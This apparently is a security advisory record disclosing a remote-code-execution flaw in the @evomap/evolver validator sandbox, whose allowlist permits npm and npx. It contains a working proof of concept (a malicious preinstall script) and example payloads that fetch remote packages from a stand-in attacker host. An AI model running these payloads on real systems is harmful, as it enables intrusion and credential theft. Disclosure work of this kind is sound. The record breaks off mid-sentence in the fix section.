{"id":"GHSA-jxh8-jh77-xh6g","aliases":[],"url":"https://o3.security/vulnerability/GHSA-jxh8-jh77-xh6g","summary":"@evomap/evolver's validator sandbox allowlist permits `npm`/`npx`, yielding RCE from Hub-delivered validation tasks via lifecycle scripts","details":"## Summary\n\nThe validator-mode sandbox executor (`src/gep/validator/sandboxExecutor.js`) places `npm` and `npx` in its hard executable allowlist. Because `npm install ` and `npx -y -p ` execute arbitrary code by design (preinstall/install/postinstall lifecycle scripts and remote-package bin entries), and because validator nodes consume `validation_commands` strings from unsigned Hub responses with no per-response signature check, an attacker who controls or MITMs the Hub achieves automatic remote code execution on every validator node within one daemon poll (default 60s).\n\n## Details\n\nEnd-to-end chain:\n\n1. `src/gep/validator/index.js:71-87` — `fetchValidationTasks()` POSTs to `/a2a/fetch` and reads `validation_tasks` from the JSON response. The outbound request is signed via `buildHubHeaders()`, but the Hub's response is parsed directly with `await res.json()` and no signature is verified on `data.payload`.\n\n2. `src/gep/validator/index.js:98-108` — `validateOneTask()` extracts `task.validation_commands` (an array of attacker-controlled strings) and passes it straight to `runInSandbox(commands, {})`. No call to `policyCheck.isValidationCommandAllowed()` happens on this path. The author's own comment at `sandboxExecutor.js:41-42` acknowledges this gap: *\"This closes the gap where validation_commands go straight from Hub to runInSandbox without passing through policyCheck.isValidationCommandAllowed().\"*\n\n3. `src/gep/validator/sandboxExecutor.js:172-218` — `runSingleCommand` calls `parseCommand(cmd)`, then checks `ALLOWED_EXECUTABLES.has(parsed.executable)`:\n\n ```js\n // sandboxExecutor.js:35\n const ALLOWED_EXECUTABLES = new Set(['node', 'npm', 'npx']);\n ```\n\n `parseCommand` only rejects shell metacharacters (`| & ; > < \\` $`) and unbalanced quotes. A string like `npm install /tmp/evil-pkg --no-audit --no-fund` contains none of those and parses cleanly into `{ executable: 'npm', args: [...] }`.\n\n4. `sandboxExecutor.js:54-66` — `assertNodeCommandSafe` is a no-op for non-`node` executables:\n\n ```js\n function assertNodeCommandSafe(parsed) {\n if (parsed.executable !== 'node') return; // npm/npx skip every check\n ...\n }\n ```\n\n The `BLOCKED_NODE_FLAGS` set (`-e`, `-r`, `--loader`, etc.) therefore never gates `npm` or `npx` invocations.\n\n5. `sandboxExecutor.js:213` — `spawn('npm', [...], { shell: false, cwd: sandboxDir, env })` runs `npm`. npm's documented behavior is to execute the package's `preinstall`, `install`, and `postinstall` scripts; `npx` downloads a remote package and executes its `bin` entry. Both yield arbitrary code execution in the validator process's UID/permissions.\n\n6. `src/gep/validator/index.js:189` — the validator daemon polls every 60s by default (`EVOLVER_VALIDATOR_DAEMON_INTERVAL_MS`), and validator mode is **on by default** since v1.69.0 (`isValidatorEnabled()` returns `true` unless explicitly disabled, `index.js:25-34`).\n\nThe \"sandbox\" is nominal: it sets a fresh `cwd` and a stripped env (HOME → tmpdir to hide `~/.npmrc`/`~/.ssh`), but `PATH` is preserved (so `npm`/`npx` resolve), there is no container/chroot/seccomp/uid drop, and nothing prevents the spawned process from writing arbitrary files, opening outbound connections, or reading any file readable by the validator process.\n\nThe author's documented threat model at `sandboxExecutor.js:31-34` explicitly includes Hub compromise:\n\n> \"Any command whose first token is not in this set is rejected before spawn(). This prevents command injection via Hub-delivered task.command strings even if Hub itself is compromised or mis-signs a task.\"\n\nPutting `npm` and `npx` on that allowlist defeats that stated goal — both are arbitrary-code-execution-by-design tools.\n\n## PoC\n\nReproduced against v1.70.0-beta.4 (HEAD on `main`):\n\nStep 1 — plant a malicious package locally (the remote-tarball variant works identically; npm fetches and runs lifecycle scripts in both cases):\n\n```bash\nmkdir -p /tmp/evil-pkg-validator\ncat > /tmp/evil-pkg-validator/package.json <<'EOF'\n{\n \"name\":\"evil-pkg-validator\",\"version\":\"1.0.0\",\n \"scripts\":{\n \"preinstall\":\"node -e \\\"require('fs').writeFileSync('/tmp/pwned-by-validator-test','RCE uid='+process.getuid()+' time='+Date.now())\\\"\"\n }\n}\nEOF\n```\n\nStep 2 — invoke the exact code path used by `validateOneTask()` when the Hub returns a task with `validation_commands: [\"npm install /tmp/evil-pkg-validator --no-audit --no-fund\"]`:\n\n```bash\nrm -f /tmp/pwned-by-validator-test\nnode -e \"\nconst s = require('./src/gep/validator/sandboxExecutor');\ns.runInSandbox(\n ['npm install /tmp/evil-pkg-validator --no-audit --no-fund'],\n { cmdTimeoutMs: 60000 }\n).then(o => {\n console.log('overallOk:', o.overallOk, 'exitCode:', o.results[0].exitCode);\n console.log('PWNED:', require('fs').readFileSync('/tmp/pwned-by-validator-test','utf8'));\n});\"\n```\n\nObserved output (verified):\n\n```\noverallOk: true exitCode: 0\nPWNED: RCE uid=0 time=1777213140205\n```\n\nThe sandbox reports `overallOk: true` (it sees a clean exit-0 from `npm`), while the preinstall script has already written `/tmp/pwned-by-validator-test` outside the sandbox directory — uncontained code execution as the validator UID.\n\nRemote-only variant (no local file required): a compromised or MITM'd Hub returns:\n\n```json\n{ \"validation_commands\": [\"npm install https://attacker.example/evil.tgz --no-audit --no-fund\"] }\n```\n\nor\n\n```json\n{ \"validation_commands\": [\"npx -y -p evil-pkg@1.0.0 evil-cmd\"] }\n```\n\nBoth pass `parseCommand()` (no shell metacharacters), pass `ALLOWED_EXECUTABLES.has('npm'|'npx')`, and `assertNodeCommandSafe` is a no-op for them. npm/npx fetch the remote tarball and execute its lifecycle/bin scripts on the validator host.\n\n## Impact\n\n- **Arbitrary code execution** as the evolver/validator process UID on every validator node that polls the malicious Hub (one cycle ≈ 60s by default).\n- **Credential exfiltration**: HUB_NODE_SECRET, A2A node identity, any cloud/cred material readable by the process.\n- **Persistence / lateral movement**: write to user-writable cron, systemd-user units, shell rc files; pivot into the host's container / VM.\n- **Wormable across the network**: a single Hub compromise auto-RCEs every node running validator mode — and validator mode is opt-out / on by default since v1.69.0.\n- **Defeats the documented sandbox guarantee**: the executor advertises defense against a compromised Hub; in practice, two of its three allowed binaries are arbitrary-code-execution tools.\n\n## Recommended Fix\n\nRemove `npm` and `npx` from `ALLOWED_EXECUTABLES`. Validation tasks need only `node